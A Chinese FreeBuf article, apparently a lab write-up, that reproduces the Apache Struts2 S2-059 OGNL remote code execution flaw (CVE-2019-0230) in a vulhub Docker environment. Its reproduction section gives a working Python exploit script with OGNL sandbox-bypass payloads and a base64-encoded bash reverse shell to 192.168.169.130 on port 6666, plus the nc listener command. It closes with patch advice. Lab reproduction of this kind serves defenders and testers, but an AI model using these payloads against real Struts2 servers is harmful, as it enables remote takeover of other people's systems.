freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

struts2 s2-059远程代码执行漏洞(CVE-2019-0230)
2020-12-11 15:30:19

在前几个月的时间里struts2爆出了s2-059预警,最近又出现了s2-061,S2-061和S2-059的OGNL表达执行触发方式一样。S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。在这里我用s2-059进行测试。

1.简介

Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

2.漏洞概述

2020年08月13日,Apache官方发布了Struts2远程代码执行漏洞的风险通告,该漏洞编号为CVE-2019-0230,漏洞等级:高危,漏洞评分:8.5
漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

3.影响版本

Apache Struts2:2.0.0-2.5.20

4.环境搭建

4.1本次漏洞环境使用vulhub快速搭建,vulhub下载地址如下:

将vulhub-master.zip解压后复制到kali里。
cd vulhub-master/

cd  struts/

cd  s2-059

4.2使用docker-compose快速构建靶场环境。

docker-compose build
docker-compose up -d

4.3启动完成后在浏览器访问http://ip:8080/ 就可以看到测试界面。



5.漏洞复现

5.1在浏览器访问http://ip:8080/?id=%25{2*5},可以发现执行的2*5成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。





5.2使用poc来反弹shell,反弹shell的payload需要使用base64编码。

bash -i >& /dev/tcp/192.168.169.130/6666 0>&1
base64编码网址:
http://www.jackson-t.ca/runtime-exec-payloads.html

5.3kali里执行nc -lvvp 6666进行监听。


5.4将payload修改为自己的payload后复制到文本里,重命名为1.py。利用python运行。

import requests url = "http://127.0.0.1:8080" data1 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)




5.5反弹shell




6.修复建议

6.1升级到Struts 2.5.22或更高版本。

6.2开启ONGL表达式注入保护措施。

https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable


# 资讯 # 渗透测试 # web安全 # Struts2
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者